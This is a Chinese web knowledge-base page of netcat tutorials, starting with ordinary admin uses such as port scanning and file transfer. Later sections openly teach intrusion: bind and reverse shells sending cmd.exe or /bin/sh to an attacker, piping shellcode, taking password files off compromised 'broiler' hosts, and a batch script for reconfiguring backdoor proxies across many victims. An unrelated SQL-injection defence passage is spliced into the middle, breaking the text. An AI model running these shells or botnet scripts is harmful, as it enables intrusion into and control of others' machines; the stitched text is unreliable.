主頁 > 知識庫 > linux nc命令小結(jié)

linux nc命令小結(jié)

熱門標(biāo)簽:涪陵商都400電話開通辦理 安陽ai電銷機(jī)器人軟件 柳州市機(jī)器人外呼系統(tǒng)報(bào)價 外呼系統(tǒng)的經(jīng)營范圍 外呼系統(tǒng)不彈窗 智能電話機(jī)器人坐席 申請400電話價格多少 云會外呼系統(tǒng) 廈門營銷外呼系統(tǒng)平臺

NC 全名 Netcat (網(wǎng)絡(luò)刀),作者是 Hobbit && ChrisWysopal。因其功能十分強(qiáng)大,體積小巧而出名,又被大家稱為“瑞士軍刀”。nc - TCP/IP swiss army knife

nc 常用于溢出、反向鏈接、上傳文本等。其實(shí)是一個非標(biāo)準(zhǔn)的 telnet 客戶端程序。也是一個 putty.exe 客戶端程序。

socat 是一個 nc 的替代品,可以稱為 nc++。是netcat的N倍加強(qiáng)版。socat 支持的連接方式很多,有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等

功能說明:功能強(qiáng)大的網(wǎng)絡(luò)工具

語  法:nc [-hlnruz][-g<網(wǎng)關(guān)...>][-G<指向器數(shù)目>][-i<延遲秒數(shù)>][-o<輸出文件>][-p<通信端口>]
    [-s<來源位址>][-v...][-w<超時秒數(shù)>][主機(jī)名稱][通信端口...]

參  數(shù):
  -g<網(wǎng)關(guān)>         設(shè)置路由器躍程通信網(wǎng)關(guān),最多可設(shè)置8個。
  -G<指向器數(shù)目>   設(shè)置來源路由指向器,其數(shù)值為4的倍數(shù)。
  -h               在線幫助。
  -i<延遲秒數(shù)>     設(shè)置時間間隔,以便傳送信息及掃描通信端口。
  -l               監(jiān)聽模式,用于入站連接 (監(jiān)聽本地端口)。
  -n               直接使用IP地址,而不通過域名服務(wù)器。
  -o<輸出文件>     指定文件名稱,把往來傳輸?shù)臄?shù)據(jù)以16進(jìn)制字碼傾倒成該文件保存。
  -p<通信端口>     設(shè)置本地主機(jī)使用的通信端口。
  -r               隨機(jī)指定本地與遠(yuǎn)端主機(jī)的通信端口。
  -s<來源位址>     設(shè)置本地主機(jī)送出數(shù)據(jù)包的IP地址。
  -u               使用UDP傳輸協(xié)議。
  -v               顯示指令執(zhí)行過程。
  -w<超時秒數(shù)>     設(shè)置等待連線的時間。
  -z               使用0輸入/輸出模式,只在掃描通信端口時使用。

[root@hatest1 ~]# type -a nc
nc is /usr/bin/nc
[root@hatest1 ~]# rpm -q nc
nc-1.10-22

1)端口掃描

nc -v -z host.example.com 70-80      #掃描端口(70到80),可指定范圍。-v輸出詳細(xì)信息。
nc -v -w 1 192.168.228.222 -z 1-1000
root@~# nc -v -w 2 192.168.2.34 -z 21-24  # 也可以不帶-z參數(shù)試下效果
nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused
root@10.1.1.43:~# nc -v -z -w2 127.0.0.1 1-100
root@10.1.1.43:~# nc -v -w 10 10.1.1.180 80
root@10.1.1.43:~# nc -v -w 10 10.1.1.180 -z 80-30000
# 監(jiān)聽本地端口
root@10.1.1.43:~# nc -l -p 1234 
root@10.1.1.43:~# netstat -tunlp | grep 1234
tcp    0   0 0.0.0.0:1234      0.0.0.0:*        LISTEN   15543/nc
# 測試UDP端口
root@172.16.211.34:web# netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address        Foreign Address       State    PID/Program name  
tcp    0   0 0.0.0.0:22         0.0.0.0:*          LISTEN   1111/sshd      
udp    0   0 0.0.0.0:68         0.0.0.0:*                887/dhclient 
root@172.16.211.35:~# nc -vuz 172.16.211.34 68
Connection to 172.16.211.34 68 port [udp/bootpc] succeeded!
nc -p 1234 -w 5 host.example.com 80

建立從本地1234端口到host.example.com的80端口連接,5秒超時

nc -u host.example.com 53

u為UDP連接

2) 遠(yuǎn)程拷貝文件

從server1拷貝文件到server2上。

先在server2上,用nc激活監(jiān)聽,server2上運(yùn)行:

[root@hatest2 tmp]# nc -lp 1234 > install.log

server1上運(yùn)行:

[root@hatest1 ~]# ll install.log
-rw-r--r--  1 root root 39693 12月 20  2007 install.log 
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log

目的主機(jī)監(jiān)聽

nc -l 監(jiān)聽端口 > 要接收的文件名
nc -l 4444 > cache.tar.gz

源主機(jī)發(fā)起請求

nc 目的主機(jī)ip  目的端口 
nc 192.168.0.85 4444 

netstat  如下

[root@localhost jiangbao]# netstat -tpln
tcp    0   0 0.0.0.0:4444        0.0.0.0:*          LISTEN   18166/nc 

目錄傳輸

從server1拷貝nginx-0.6.34目錄內(nèi)容到server2上。

先在server2上,用nc激活監(jiān)聽,server2上運(yùn)行:

[root@hatest2 tmp]# nc -l 1234 |tar xzvf -

server1上運(yùn)行:
[

root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234

從192.168.2.33拷貝文件到192.168.2.34

在192.168.2.34上: nc -l 1234 > test.txt

在192.168.2.33上: nc 192.168.2.34 < test.txt

克隆硬盤或分區(qū)

操作與上面的拷貝是雷同的,只需要由dd獲得硬盤或分區(qū)的數(shù)據(jù),然后傳輸即可。

克隆硬盤或分區(qū)的操作,不應(yīng)在已經(jīng)mount的的系統(tǒng)上進(jìn)行。

所以,需要使用安裝光盤引導(dǎo)后,進(jìn)入拯救模式(或使用Knoppix工具光盤)啟動系統(tǒng)后,在server2上進(jìn)行類似的監(jiān)聽動作:

# nc -l -p 1234 | dd of=/dev/sda

server1上執(zhí)行傳輸,即可完成從server1克隆sda硬盤到server2的任務(wù):

# dd if=/dev/sda | nc 192.168.228.222 1234

3) 簡單聊天工具

在192.168.2.34上: nc -l 1234

在192.168.2.33上: nc 192.168.2.34 1234

這樣,雙方就可以相互交流了。使用ctrl+C(或D)退出。

nc -l 1234
nc 127.0.0.1 1234

在端口1234建立連接,互相發(fā)送輸入

4) 保存Web頁面

# while true; do nc -l -p 80 -q 1 < somepage.html; done

5) 模擬HTTP Headers

[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser
HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]

在nc命令后,輸入紅色部分的內(nèi)容,然后按兩次回車,即可從對方獲得HTTP Headers內(nèi)容。

echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80

連接到主機(jī)并執(zhí)行

6) 用nc命令操作memcached
1)存儲數(shù)據(jù):printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211
2)獲取數(shù)據(jù):printf “get keyrn” |nc 192.168.2.34 11211
3)刪除數(shù)據(jù):printf “delete keyrn” |nc 192.168.2.34 11211
4)查看狀態(tài):printf “statsrn” |nc 192.168.2.34 11211
5)模擬top命令查看狀態(tài):watch “echo stats” |nc 192.168.2.34 11211
6)清空緩存:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了緩存就沒了)

 補(bǔ)充教程 2

nc的使用方法

netcat被譽(yù)為網(wǎng)絡(luò)安全界的‘瑞士軍刀',相信沒有什么人不認(rèn)識它吧......

一個簡單而有用的工具,透過使用TCP或UDP協(xié)議的網(wǎng)絡(luò)連接去讀寫數(shù)據(jù)。它被設(shè)計(jì)成一個穩(wěn)定的后門工具,能夠直接由其它程序和腳本輕松驅(qū)動。同時,它也是一個功能強(qiáng)大的網(wǎng)絡(luò)調(diào)試和探測工具,能夠建立你需要的幾乎所有類型的網(wǎng)絡(luò)連接,還有幾個很有意思的內(nèi)置功能(詳情請看下面的使用方法)。 在中國它的WINDOWS版有兩個版本,一個是原創(chuàng)者Chris Wysopal寫的原版本,另一個是由‘紅與黑'編譯后的新‘濃縮'版?!疂饪s'版的主程序只有10多KB(10多KB的NC是不能完成下面所說的第4、第5種使用方法,有此功能的原版NC好象要60KB:P),雖然“體積”小,但很完成很多工作。

軟件介紹:
工具名:Netcat
作者:Hobbit && Chris Wysopal
網(wǎng)址:http://www.atstake.com/research/tools/network_utilities/
類別:開放源碼
平臺:Linux/BSD/Unix/Windows
WINDOWS下版本號:[v1.10 NT]

參數(shù)介紹:

nc.exe -h 即可看到各參數(shù)的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d          后臺模式
-e          程序重定向,一旦連接,就執(zhí)行 [危險!!]
-g gateway  source-routing hop point[s], up to 8    設(shè)置路由器躍程通信網(wǎng)關(guān),最多可設(shè)置8個。
-G num      source-routing pointer: 4, 8, 12, ...   設(shè)置來源路由指向器,其數(shù)值為4的倍數(shù)。
-h          幫助信息
-i secs     延時的間隔
-l          監(jiān)聽模式,用于入站連接 (監(jiān)聽本地端口)
-L          連接關(guān)閉后,仍然繼續(xù)監(jiān)聽
-n          指定數(shù)字的IP地址,不能用hostname。即直接使用IP地址,而不通過域名服務(wù)器。
-o file     指定文件名稱,把往來傳輸?shù)臄?shù)據(jù)以16進(jìn)制字碼傾倒成該文件保存。
-p port     本地端口號 (指定本地端口 )
-r          隨機(jī)本地及遠(yuǎn)程端口
-s addr     本地源地址
-t          使用TELNET交互方式(用telnet來回應(yīng) )
-u          UDP模式
-v          詳細(xì)輸出--用兩個-v( -vv)可得到更詳細(xì)的內(nèi)容. 獲得端口信息
-w secs     timeout的時間
-z          將輸入輸出關(guān)掉--只用于掃描. 端口的表示方法可寫為M-N的范圍格式。

基本用法:

大概有以下幾種用法:

1) 連接到 remote 主機(jī),例子:
    格式:nc -nvv 192.168.x.x 80
    講解:連到192.168.x.x的TCP80端口
2) 監(jiān)聽 local 主機(jī),例子:
    格式:nc -l -p 80
    講解:監(jiān)聽本機(jī)的TCP80端口
3) 掃描遠(yuǎn)程主機(jī),例子:
    格式:nc -nvv -w2 -z 192.168.x.x 80-445
    講解:掃描192.168.x.x的TCP80到TCP445的所有端口
4) remote 主機(jī)綁定 shell,例子:
    格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
    講解:綁定REMOTE主機(jī)的CMDSHELL在REMOTE主機(jī)的TCP5354端口
5) REMOTE主機(jī)綁定SHELL并反向連接,例子:
    格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
    講解:綁定REMOTE主機(jī)的CMDSHELL并反向連接到192.168.x.x的TCP5354端口
以上為最基本的幾種用法(其實(shí)NC的用法還有很多,當(dāng)配合管道命令“|”與重定向命令“<”、“>”等等命令功能更強(qiáng)大......)。
高級用法:
6) 作攻擊程序用,例子:
    格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
    格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt
    講解:連接到192.168.x.x的80端口,并在其管道中發(fā)送c:exploit.txt的內(nèi)容(兩種格式確有相同的效果,真是有異曲同工之妙:P)
    附:c:exploit.txt為shellcode等
7) 作蜜罐用[1],例子:
    格式:nc -L -p 80
    講解:使用-L(注意L是大寫)可以不停地監(jiān)聽某一個端口,直到ctrl+c為止.
8) 作蜜罐用[2],例子:
    格式:nc -L -p 80 > c:log.txt
    講解:使用-L可以不停地監(jiān)聽某一個端口,直到ctrl+c為止,同時把結(jié)果輸出到c:log.txt中,如果把‘>'改為‘>>'即可以追加日志。
    附:c:log.txt為日志等
9)作蜜罐用[3],例子:
    格式1:nc -L -p 80 < c:honeypot.txt
    格式2:type.exe c:honeypot.txt|nc -L -p 80
    講解:使用-L可以不停地監(jiān)聽某一個端口,直到ctrl+c為止,并把c:honeypot.txt的內(nèi)容‘送'入其管道中。
          如果攻擊者知道應(yīng)用會將表單中輸入的內(nèi)容直接用于驗(yàn)證身份的查詢,他就會嘗試輸入某些特殊的SQL字符串篡改查詢改變其原來的功能,
          欺騙系統(tǒng)授予訪問權(quán)限。系統(tǒng)環(huán)境不同,攻擊者可能造成的損害也不同,這主要由應(yīng)用訪問數(shù)據(jù)庫的安全權(quán)限決定。
          如果用戶的帳戶具有管理員或其他比較高級的權(quán)限,攻擊者就可能對數(shù)據(jù)庫的表執(zhí)行各種他想要做的操作,
          包括添加、刪除或更新數(shù)據(jù),甚至可能直接刪除表。

二、如何防范?

好在要防止ASP.NET應(yīng)用被SQL注入式攻擊闖入并不是一件特別困難的事情,只要在利用表單輸入的內(nèi)容構(gòu)造SQL命令之前,把所有輸入內(nèi)容過濾一番就可以了。過濾輸入內(nèi)容可以按多種方式進(jìn)行。

⑴ 對于動態(tài)構(gòu)造SQL查詢的場合,可以使用下面的技術(shù):

第一:替換單引號,即把所有單獨(dú)出現(xiàn)的單引號改成兩個單引號,防止攻擊者修改SQL命令的含義。再來看前面的例子,“Select * from Users Where login = or 1=1 AND password = or 1=1”顯然會得到與“Select * from Users Where login = or 1=1 AND password = or 1=1”不同的結(jié)果。

第二:刪除用戶輸入內(nèi)容中的所有連字符,防止攻擊者構(gòu)造出類如“Select * from Users Where login = mas -- AND password =”之類的查詢,因?yàn)檫@類查詢的后半部分已經(jīng)被注釋掉,不再有效,攻擊者只要知道一個合法的用戶登錄名稱,根本不需要知道用戶的密碼就可以順利獲得訪問權(quán)限。

第三:對于用來執(zhí)行查詢的數(shù)據(jù)庫帳戶,限制其權(quán)限。用不同的用戶帳戶執(zhí)行查詢、插入、更新、刪除操作。由于隔離了不同帳戶可執(zhí)行的操作,因而也就防止了原本用于執(zhí)行Select命令的地方卻被用于執(zhí)行Insert、Update或Delete命令。

⑵ 用存儲過程來執(zhí)行所有的查詢。SQL參數(shù)的傳遞方式將防止攻擊者利用單引號和連字符實(shí)施攻擊。此外,它還使得數(shù)據(jù)庫權(quán)限可以限制到只允許特定的存儲過程執(zhí)行,所有的用戶輸入必須遵從被調(diào)用的存儲過程的安全上下文,這樣就很難再發(fā)生注入式攻擊了。

⑶ 限制表單或查詢字符串輸入的長度。如果用戶的登錄名字最多只有10個字符,那么不要認(rèn)可表單中輸入的10個以上的字符,這將大大增加攻擊者在SQL命令中插入有害代碼的難度。

⑷ 檢查用戶輸入的合法性,確信輸入的內(nèi)容只包含合法的數(shù)據(jù)。數(shù)據(jù)檢查應(yīng)當(dāng)在客戶端和服務(wù)器端都執(zhí)行——之所以要執(zhí)行服務(wù)器端驗(yàn)證,是為了彌補(bǔ)客戶端驗(yàn)證機(jī)制脆弱的安全性。

在客戶端,攻擊者完全有可能獲得網(wǎng)頁的源代碼,修改驗(yàn)證合法性的腳本(或者直接刪除腳本),然后將非法內(nèi)容通過修改后的表單提交給服務(wù)器。因此,要保證驗(yàn)證操作確實(shí)已經(jīng)執(zhí)行,唯一的辦法就是在服務(wù)器端也執(zhí)行驗(yàn)證。你可以使用許多內(nèi)建的驗(yàn)證對象,例如RegularExpressionValidator,它們能夠自動生成驗(yàn)證用的客戶端腳本,當(dāng)然你也可以插入服務(wù)器端的方法調(diào)用。如果找不到現(xiàn)成的驗(yàn)證對象,你可以通過CustomValidator自己創(chuàng)建一個。

⑸ 將用戶登錄名稱、密碼等數(shù)據(jù)加密保存。加密用戶輸入的數(shù)據(jù),然后再將它與數(shù)據(jù)庫中保存的數(shù)據(jù)比較,這相當(dāng)于對用戶輸入的數(shù)據(jù)進(jìn)行了“消毒”處理,用戶輸入的數(shù)據(jù)不再對數(shù)據(jù)庫有任何特殊的意義,從而也就防止了攻擊者注入SQL命令。System.Web.Security.formsAuthentication類有一個HashPasswordForStoringInConfigFile,非常適合于對輸入數(shù)據(jù)進(jìn)行消毒處理。

⑹ 檢查提取數(shù)據(jù)的查詢所返回的記錄數(shù)量。如果程序只要求返回一個記錄,但實(shí)際返回的記錄卻超過一行,那就當(dāng)作出錯處理。

nc -l -v -p 7626 

打開本地的7626端口進(jìn)行監(jiān)聽,并反饋連接信息。

如果有掃描冰河木馬的人會認(rèn)為你中了木馬開放了7626,和“小豬快跑”的功能有點(diǎn)象。再加個批處理文件一起用的話就是一個“小豬快跑”了。

nc -l -p 80 >>c:\\日志.dat 

如果要監(jiān)視是否有入侵本地80端口的行為,并記下來用這個命令。這樣,凡是有針對本機(jī)80端口的攻擊都會被記錄下來的

nc -l -p 123 -e cmd.exe 或者是: nc -l -p 123 -t 

如果你通過溢出進(jìn)入了別人的機(jī)器,就可以運(yùn)行上面命令。作用都是以cmd.exe來響應(yīng)到機(jī)器上123端口的連接。

這樣就把溢出的主機(jī)變成了一臺telnet肉雞了。也可以用命令讓肉雞主動連接你的主機(jī),假設(shè)我的IP是192.168.0.1 

在肉雞上運(yùn)行: nc -e cmd.exe 192.168.0.1 777 。再在本地機(jī)器上運(yùn)行: nc -l -p 777 

意思是讓肉雞將cmd.exe(就是個shell)主動響應(yīng)到你電腦的777端口。你再在本地機(jī)上監(jiān)聽777端口,這樣就進(jìn)入了對方的cmd了 

這也微十時毫 反彈端口式木馬的原理了。

nc -v 192.168.0.25 80 

獲取192.168.0.25的80端口的信息??梢垣@得IIS版本等很多重要信息 的

nc -v -z 192.168.0.25 1-100 

掃描192.168.0.25的1到100間的TCP端口

nc -v -z -u 192.168.0.25 1-100 

這是掃描1到00間的UDP端口

nc -vv ip port  //端口的刺探:
RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open

掃描器

nc -vv -w 5 ip port-port port 
nc -vv -z ip port-port port

這樣掃描會留下大量的痕跡,系統(tǒng)管理員會額外小心。

后門

victim machine:      // 受害者的機(jī)器 
nc -l -p port -e cmd.exe // win2000 
nc -l -p port -e /bin/sh // unix,linux 
attacker machine:     // 攻擊者的機(jī)器. 
nc ip -p port       // 連接victim_IP,然后得到一個shell。

反向連接

attacker machine:   //一般是sql2.exe,遠(yuǎn)程溢出,webdavx3.exe攻擊. 
//或者wollf的反向連接. 
nc -vv -l -p port 
victim machine: 
nc -e cmd.exe attacker ip -p port 
nc -e /bin/sh attacker ip -p port

或者:

attacker machine: 
nc -vv -l -p port1 
nc -vv -l -p prot2 
victim machine: 
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2 
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2

139要加參數(shù)-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機(jī)器IP),這樣就可以保證nc.exe優(yōu)先于NETBIOS。

傳送文件:

attacker machine <-- victim machine  //從肉雞拖密碼文件回來. 
nc -d -l -p port < path\filedest     可以shell執(zhí)行 
nc -vv attacker_ip port > path\file.txt 需要Ctrl+C退出 
//肉雞需要gui界面的cmd.exe里面執(zhí)行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入Crl+C.
attacker machine --> victim machine //上傳命令文件到肉雞 
nc -vv -l -p port > path\file.txt      需要Ctrl+C退出 
nc -d victim_ip port < path\filedest   可以shell執(zhí)行 
//這樣比較好.我們登陸終端.入侵其他的肉雞.可以選擇shell模式登陸.

端口數(shù)據(jù)抓包.

nc -vv -w 2 -o test.txt xfocus.Net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error 
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr 
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized... 
< 00000084 83 00 00 01 8f # .....

telnet,自動批處理。

nc victim_ip port < path\file.cmd   顯示執(zhí)行過程. 
nc -vv victim_ip port < path\file.cmd   顯示執(zhí)行過程.
nc -d victim_ip port < path\file.cmd 安靜模式.
_______________file.cmd________________________ 
password 
cd %windir% 
echo []=[%windir%] 
c: 
cd \ 
md test 
cd /d %windir%\system32\ 
net stop sksockserver 
snake.exe -config port 11111 
net start sksockserver 
exit 
_______________file.cmd__END___________________

########################################
     管理肉雞,更改肉雞設(shè)置
########################################

1) 比如要統(tǒng)一更改肉雞上面的代理端口.snake.exe 修改為11111 服務(wù)名稱"sksockserver",使用winshell后門. 端口1234 密碼password

命令格式就是:

modi.bat youip.txt
___________modi.bat____________________________ 
@if "%1"=="" echo Error: no ip.txt &&goto END
:start 
@echo password >a.cmd 
@echo s >>a.cmd 
@echo cd /d %%windir%%\system32\ >>a.cmd 
@net stop "sksockserver" >>a.cmd 
@snake.exe -config port 11111 >>a.cmd 
@net start "sksockserver" >>a.cmd 
@exit >>a.cmd
:auto 
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)
:END 
___________modi.bat__END_______________________

2)

@echo off 
color f0 
:start 
cls 
C:\nc -vv -w 3 -l -p 80>>80.txt 
goto start

把防火墻關(guān)掉以后運(yùn)行這個批處理,會監(jiān)聽到許多探測U漏洞的信息,大多是三條一組--妮姆達(dá)病毒掃描你的。
這樣就會得到肉雞的.雖然質(zhì)量不高.但是也是一種便宜的辦法.

肉雞特征:
1。unicode漏洞
2。guest密碼為空,administrators組用戶
3。其他漏洞
用于傳輸文件 — ncp

#! /bin/sh 
## 類似于rcp,但是是用netcat在高端口做的 
## 在接收文件的機(jī)器上做"ncp targetfile" 
## 在發(fā)送文件的機(jī)器上做"ncp sourcefile receivinghost" 
## 如果調(diào)用了 "nzp" ,會將傳輸文件壓縮
## 這里定義你想使用的端口,可以自由選擇 
MYPORT=23456
## 如果nc沒有在系統(tǒng)路徑中的話,要把下面一行注釋去掉,加以修改 
# PATH=$:$ ; export PATH
## 下面這幾行檢查參數(shù)輸入情況:
test "$3" && echo "too many args" && exit 1 
test ! "$1" && echo "no args?" && exit 1 
me=`echo $0 | sed s+.*/++` 
test "$me" = "nzp" && echo [compressed mode]
# if second arg, its a host to send an [extant] file to. 
if test "$2" ; then 
test ! -f "$1" && echo "cant find $1" && exit 1 
if test "$me" = "nzp" ; then 
  compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0 
else 
  nc -v -w 2 $2 $MYPORT < "$1" && exit 0 
fi 
echo "transfer FAILED!" 
exit 1 
fi
# 是否在接收文件機(jī)器當(dāng)前目錄有同名文件
if test -f "$1" ; then 
echo -n "Overwrite $1? " 
read aa 
test ! "$aa" = "y" && echo "[punted!]" && exit 1 
fi 
# 30 seconds oughta be pleeeeenty of time, but change if you want. 
if test "$me" = "nzp" ; then 
# 注意這里nc的用法,結(jié)合了重定向符號和管道 
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0 
else 
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0 
fi 
echo "transfer FAILED!" 
# clean up, since even if the transfer failed, $1 is already trashed 
rm -f "$1" 
exit 1

這樣的話,我只要在A機(jī)器上先 QuackA# ncp ../abcd

listening on 然后在另一臺機(jī)器B上

QuackB#ncp abcd 192.168.0.2 
quackb [192.168.0.1] 23456 (?) 

A機(jī)上出現(xiàn)

open connect to [192.168.0.2] from quackb [192.168.0.1] 1027 
# 查看一下,文件傳輸完畢。

===========================================================================
【本地運(yùn)行】nc -v ip port
【命令解釋】掃瞄某 IP 的某個端口,返回信息詳細(xì)輸出。
===========================================================================
【本地運(yùn)行】nc -v -z ip port-port
【命令解釋】掃描某IP的端口到某端口,返回信息詳細(xì)輸出,但掃描速度較慢。
===========================================================================
【本地運(yùn)行】nc -v -z -u ip  port-port
【命令解釋】掃描某 IP 的某 UDP 端口到某 UDP 端口,返回信息詳細(xì)輸出,但掃描速度較慢。
===========================================================================
【本地運(yùn)行】nc -l -p 80
【命令解釋】開啟本機(jī)的 TCP 80 端口并監(jiān)聽。
===========================================================================
【本地運(yùn)行】nc -l -v -p 80
【命令解釋】開啟本機(jī)的 TCP 80 端口并將監(jiān)聽到的信息輸出到當(dāng)前 CMD 窗口。
===========================================================================
【本地運(yùn)行】nc -l -p 80 > E:/log.dat
【命令解釋】開啟本機(jī)的 TCP 80 端口并將監(jiān)聽到的信息輸出到 E:/log.dat 下的日志文件里。
===========================================================================
【本地運(yùn)行】nc -nvv 192.168.1.101 80
【命令解釋】連接到192.168.1.101主機(jī)的 80 端口。
===========================================================================
【本地運(yùn)行】nc -nvv -w2 -z 192.168.1.101 80-1024
【命令解釋】掃錨192.168.1.101的80-1024端口,連接超時時間為2秒。
===========================================================================
【遠(yuǎn)程運(yùn)行】nc -l -p 2012 -t -e cmd.exe
【本地運(yùn)行】nc -nvv 192.168.1.101 2012
【命令解釋】采用正向連接方式,遠(yuǎn)程主機(jī)(注:假設(shè)IP地址為 192.168.1.101)上運(yùn)行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠(yuǎn)程主機(jī)的 CMD 到
【命令解釋】2012 端口,當(dāng)本地主機(jī)連接遠(yuǎn)程主機(jī)成功時就會返回給本地主機(jī)一個CMD Shell ;在本地主機(jī)上運(yùn)行 nc -nvv 192.168.1.101 2012 用于
【命令解釋】連接已經(jīng)將 CMD 重定向到 2012 端口的遠(yuǎn)程主機(jī)(注:假設(shè)IP地址為 192.168.1.101)。
===========================================================================
【本地運(yùn)行】nc -l -p 2012
【遠(yuǎn)程運(yùn)行】nc -t -e cmd.exe 192.168.1.102 2012
【命令解釋】采用反向連接方式,先在本地主機(jī)運(yùn)行 nc -l -p 2012 開啟本地主機(jī)的(注:假設(shè)IP地址為 192.168.1.102)2012 端口并監(jiān)聽等待遠(yuǎn)程主
【命令解釋】機(jī)連接;在遠(yuǎn)程主機(jī)上運(yùn)行 nc -t -e cmd.exe 192.168.1.102 2012 將遠(yuǎn)程主機(jī)的 CMD 重定向到 IP 地址為 192.168.1.102 端口號為
【命令解釋】2012 的主機(jī)上,連接成功后 IP 地址為 192.168.1.102 的主機(jī)會得到一個CMD Shell。
===========================================================================
【本地運(yùn)行】nc -v -n ip port < C:/sunzn.exe
【遠(yuǎn)程運(yùn)行】nc -v -l -p port > D:/sunzn.exe
【命令解釋】在本地運(yùn)行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤根目錄中讀取 sunzn.exe 文件的內(nèi)容,并把這些數(shù)據(jù)發(fā)送到遠(yuǎn)程主機(jī)的
【命令解釋】對應(yīng)端口上(注:命令行中的 IP 為接收文件的遠(yuǎn)程主機(jī) IP ),在遠(yuǎn)程主機(jī)運(yùn)行 nc -v -l -p port > D:/sunzn.exe 意為監(jiān)聽對應(yīng)端口并
【命令解釋】把接收到的信息數(shù)據(jù)寫到 D:/sunzn.exe 中,兩行命令實(shí)現(xiàn)了文件在本地主機(jī)和遠(yuǎn)程主機(jī)間的傳輸。
===========================================================================
【本地運(yùn)行】nc -L -p 8989<C:\ftp.txt ( ftp.txt 中為FTP自動下載命令)
【命令解釋】不停地監(jiān)聽 8989 端口,并把 C:\ftp.txt  中的內(nèi)容發(fā)給任何一臺連接本機(jī) 8989 端口的主機(jī),可起到傳送文件作用(此用法經(jīng)常用于反向
【命令解釋】溢出)。溢出遠(yuǎn)程主機(jī)時,一旦溢出的遠(yuǎn)程主機(jī)連接本地主機(jī) 8989 端口,遠(yuǎn)程主機(jī)就會自動用 FTP 下載指定的文件,如木馬。
===========================================================================

簡單使用教程:

命令1:監(jiān)聽命令

  nc -l -p port
  nc -l -p port > e:\log.dat
  nc -l -v -p port

參數(shù)解釋:
        -l:監(jiān)聽端口,監(jiān)聽入站信息
        -p:后跟本地端口號
        -v:顯示端口的信息,如果使用-vv的話,則會顯示端口更詳細(xì)的信息

提示:一般大家都愛用-vv

    nc -l -p 80    //這個很簡單,監(jiān)聽80端口。如果機(jī)器上運(yùn)行這個命令,端口80被認(rèn)為是開放的,可以欺騙掃描器
    nc -l -p 80 > e:\log.dat    //將詳細(xì)信息寫入E盤log.dat的日志文件
    nc -l -v -p 80    //和上邊命令相似,會直接顯示信息在運(yùn)行著NC的屏幕上。

實(shí)踐:

例如:nc -l -v -p 80

然后在瀏覽器中輸入本機(jī)IP:127.0.0.1

命令2:程序定向(反彈shell的方法)

nc -l -p port -t -e cmd.exe

本地機(jī): nc -l -p port 或 nc -l -v -p port
目標(biāo)機(jī):nc -e cmd.exe ip port

參數(shù)解釋:
        -l、-p兩個參數(shù)已經(jīng)解釋過了
        -e;作用就是程序定向
        -t:以telnet的形式來應(yīng)答

例子

nc -l -p 5277 -t -e cmd.exe  
 //千萬不要運(yùn)行在自己的機(jī)器上,如果運(yùn)行了,你機(jī)器就會變成一臺TELNET的服務(wù)器了。

命令解釋:

監(jiān)聽本地端口5277的入站信息,同時將CMD.exe這個程序,重定向到端口5277上,當(dāng)有人連接的時候,就讓程序CMD.exe以TELNET的形式來響應(yīng)連接要求。說白了,其實(shí)就是讓他成為一臺TELNET的肉雞,所以這個命令要運(yùn)行在你的肉雞上。

例如用法:

local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port

大家知道灰鴿子和神偷吧,這兩款工具都是利用了反彈端口型的木馬,

什么叫反彈端口?

就是說,當(dāng)對方中馬后,不用你主動和對方連接,也就是說不用從你的client端向?qū)Ψ街鳈C(jī)上運(yùn)行的server端發(fā)送請求連接,而是對方主動來連接你這樣就可以使很多防火墻失效,因?yàn)楹芏喾阑饓Χ疾粰z查出站請求的。

這里這兩個命令結(jié)合在一起后,于那兩款木馬可以說有異曲同工之效。

本地運(yùn)行:nc -l -p 5277 (監(jiān)聽本地5277端口)或者 nc -l -v -p 5277

